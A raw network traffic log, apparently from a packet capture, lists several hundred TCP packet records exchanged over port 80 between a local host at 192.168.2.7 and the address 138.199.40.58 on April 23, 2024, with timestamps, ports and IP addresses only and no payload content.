Apr 23, 2024 08:39:59.163161039 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.163177013 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.163187981 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.163203955 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.163213015 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.163235903 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.163237095 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.163259029 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.163280010 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.163294077 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.163355112 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.163368940 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.163382053 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.163388968 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.163431883 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.163435936 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.163435936 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.163475037 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.163491964 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.163505077 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.163516998 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.163530111 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.163537025 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.163542986 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.163552046 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.163588047 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.163609982 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.163650036 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.163671970 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.163683891 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.163697004 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.163708925 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.163733006 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.163734913 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.163746119 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.163752079 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.163762093 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.163775921 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.163795948 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.163820028 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.163821936 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.163891077 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.163904905 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.163912058 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.163924932 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.163950920 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.163971901 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.163990021 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.164014101 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.164043903 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.164066076 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.164078951 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.164091110 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.164123058 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.164156914 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.164156914 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.164165974 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.164180040 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.164187908 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.164191961 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.164216995 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.164253950 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.164268970 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.164333105 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.164386988 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.164402008 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.164413929 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.164427042 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.164436102 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.164439917 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.164452076 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.164463043 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.164464951 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.164477110 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.164493084 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.164499998 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.164499998 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.164505959 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.164529085 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.164532900 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.164541006 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.164566994 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.164583921 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.164602041 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.164617062 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.164634943 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.164649010 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.164681911 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.164700031 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.164752960 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.164766073 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.164771080 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.164777994 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.164814949 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.164839029 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.164882898 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.164925098 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.164942980 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.164951086 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.164973021 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.164995909 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.165023088 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.165030003 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.165046930 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.165105104 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.165180922 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.165195942 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.165205002 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.165206909 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.165234089 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.165250063 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.165256023 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.165298939 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.165302038 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.165302038 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.165312052 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.165324926 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.165352106 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.165363073 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.165415049 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.165429115 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.165436029 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.165465117 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.165498018 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.165514946 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.165528059 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.165550947 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.165575027 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.165589094 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.165612936 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.165633917 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.165648937 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.165673018 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.165699005 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.165721893 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.165721893 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.165750980 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.165796995 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.165811062 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.165812969 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.165857077 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.165880919 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.165893078 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.165905952 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.165934086 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.165954113 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.165977001 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.165990114 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.165997982 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.166045904 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.166059017 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.166065931 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.166079998 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.166095018 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.166104078 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.166136026 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.166150093 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.166162968 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.166182995 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.166186094 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.166208982 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.166217089 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.166238070 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.166245937 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.166307926 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.166320086 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.166327953 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.166337013 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.166351080 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.166373968 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.166408062 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.166425943 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.166435957 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.166482925 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.166496992 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.166503906 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.166510105 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.166568995 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.166583061 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.166589975 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.166609049 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.166623116 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.166629076 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.166635990 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.166655064 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.166660070 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.166680098 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.166722059 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.166791916 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.166805029 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.166812897 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.166846037 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.166858912 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.166867018 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.166906118 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.166941881 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.166954994 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.166969061 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.166980982 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.167001963 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.167004108 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.167015076 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.167021990 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.167027950 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.167064905 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.167078972 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.167085886 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.167100906 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.167109966 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.167124033 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.167144060 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.167179108 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.167191029 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.167211056 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.167231083 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.167244911 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.167268038 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.167292118 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.167304993 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.167318106 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.167325974 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.167378902 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.167392015 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.167404890 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.167414904 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.167454004 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.167467117 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.167474985 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.167490959 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.167515993 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.167530060 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.167551994 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.167573929 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.167587042 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.167598009 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.167608976 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.167615891 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.167639017 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.167651892 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.167675972 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.167691946 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.167732954 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.167738914 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.167738914 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.167757988 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.167797089 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.167819023 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.167865992 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.167900085 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.167918921 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.167932987 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.167959929 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.167982101 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.168000937 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.168057919 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.168070078 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.168072939 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.168082952 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.168097019 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.168112040 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.168118954 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.168132067 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.168138027 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.168148041 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.168169975 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.168173075 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.168221951 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.168235064 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.168247938 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.168258905 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.168261051 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.168277025 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.168298006 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.168311119 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.168330908 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.168334961 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.168348074 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.168354988 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.168370962 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.168387890 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.168395042 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.168462038 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.168478966 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.168492079 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.168499947 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.168557882 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.168571949 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.168576956 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.168589115 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.168596029 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.168612003 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.168625116 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.168629885 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.168658018 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.168682098 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.168685913 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.168699026 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.168724060 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.168742895 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.168766022 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.168781042 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.168790102 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.168797016 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.168809891 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.168829918 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.168837070 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.168859959 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.168874979 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.168890953 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.168956041 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.168970108 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.168976068 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.168982029 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.169001102 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.169011116 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.169023991 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.169033051 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.169037104 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.169101000 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.169116020 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.169125080 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.169137955 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.169151068 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.169157028 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.169162989 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.169167042 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.169176102 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.169193983 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.169210911 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.169262886 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.169269085 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.169326067 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.169398069 CEST	80	49705	138.199.40.58	192.168.2.7
